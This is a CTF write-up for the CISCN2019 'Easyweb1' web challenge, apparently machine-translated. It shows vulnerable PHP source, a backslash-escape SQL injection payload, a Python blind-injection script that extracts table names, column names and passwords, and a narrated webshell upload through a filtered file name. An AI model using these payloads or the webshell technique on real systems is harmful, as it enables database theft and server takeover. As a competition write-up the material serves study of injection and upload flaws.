[CISCN2019 finals Day2 Web1]Easyweb1

Keywords: PHP Front-end security CTF ci

1, Foreword

In previous articles, I mentioned that I have been doing things related to sql injection recently, and I have also been doing problems related to sql injection. However, in fact, many competition questions have different test sites. They often need to combine other knowledge to get the desired results. The following question is the typical one I just mentioned. Although the test is not difficult, it is enough to explain the trend of the current sql question.

2, Text

We first open the environment and see the following page.

emmm, a fancy login interface. Many user name and password combinations were tried, but none of them were correct. Then scan the directory and find that there is a robots.txt on the website

The content of the robots file is to remind us that the website contains backup files. (in fact, as long as your dictionary is right, this step can be omitted, because the directory traversal script can run out).
Then, let's download the backup file image.php.bak
Get the following code

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

You can see that there is an addslashes() function. Friends who do not understand this function can see the screenshot below.

He will precede the predefined characters with a backslash, that is, if we enter \, he will output \ \. When you see an sql statement in the php file, your first reaction must be to think about how to splice this statement in order to make it available to us. Because the backslash can escape characters, that is, if we let the backslash appear alone in the passed parameters, we can break the original statement structure to realize injection.
To do this, consider the following statement.

select * from images where id='\' or path='{$path}'

What happens to the above statement?
The second quotation mark belonging to the id parameter is escaped, resulting in the first quotation mark of the path parameter becoming the closed quotation mark of the id parameter, resulting in the id parameter being 'or path =. In this case, we can add any sql statement we want with the parameter {$path}.
So, how do we construct id parameters? It is not feasible to pass backslashes directly because addslashes() exists. At this time, we should make clever use of str_replace() function to help us do this.
We note at this time that str_ The first parameter of replace() is \ \ 0. Of course, in the code, the first backslash is often used to escape characters. So, str_ The character to be replaced here in the replace function should be \ 0. If the parameter passed in is \ 0, it will first go through addslashes() and then become \ \ 0. At this time, it will be replaced by str_replace, and the id parameter becomes \, which achieves our goal.
Let's try:
payload is as follows

image.php?id=\0&path=%20or%20ascii(substr((select(database())),1,1))>1%23

The payload constructed in this way is always true, because the initial ascii of database must be greater than 1.

ok, this shows that there is no problem with our thinking. We can start writing exp directly.
However, before giving my exp, I still want to give the packet capture results of burp in order to explain the judgment conditions of blind injection.

We can see that the contents returned by the packet are hexadecimal and cannot be displayed normally, but we can still judge whether the injection is successful according to the JFIF in the file header.
Then exp it directly. (replace the payload according to your own needs. The exp will be explained below.)

import requests
import time

def start_ascii():
    database_name = ""
    # table_name = ""
    # column_name = ""
    url = "http://d6622b71-49e1-489b-9249-b78a159c3beb.node4.buuoj.cn:81/image.php?id=\\0&path=%20or%20"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        while(low < high):
            # payload = "ascii(substr((select(database())),{},1))>{}%23".format(i,mid)
            payload = "ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),{},1))>{}%23".format(i, mid)
            # payload = "ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))),{},1))>{}%23".format(i, mid)
            # payload = "ascii(substr((select(group_concat(password))from(users)),{},1))>{}%23".format(i, mid)
            res = requests.get(url + payload)
            if 'JFIF' in res.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high)//2
            # Jump out of loop
        if mid == 32 or mid == 127:
            break
        database_name = database_name + chr(mid)
        # table_name = table_name + chr(mid)
        # column_name = column_name + chr(mid)
        print(database_name)

if __name__ == "__main__":
    start_ascii()

Burst table name

Another key point here is that because the quotation marks are filtered, we can't write the payload of the field name directly

(table_name)=('users')

So we're going to bypass it with the hexadecimal form of users.
The hexadecimal form of users is 0x7573657273
Explosive listing

Then it's simple.
Explosion field (if username is admin, there is no mapping)

Log in with admin and the password above.

If it is found to be a file upload point, write a sentence directly and upload it by Trojan horse

Um.. Filter found.
emmm used phtml in another way and passed it on (surprised). However, I can't connect the back ant sword. I don't know why

Go online to see how to bypass the filtering. The masters say that you can write horses with file names. Let's try, but we must pay attention here, because we have measured that they have filtering on file names before, so we should write horses directly with short labels this time.

Then connect with the ant sword and connect successfully, but get the flag under the root directory.

Postscript

How to say, this problem is not difficult on the whole. The key point is to investigate multiple knowledge points together, including some small pits. I don't know why the upload of phtml file can't be connected. In the end, I didn't understand what's going on (I'll see later), but fortunately, I successfully got the flag with the file name written in the back.

Posted by Magestic on Fri, 22 Oct 2021 01:59:09 -0700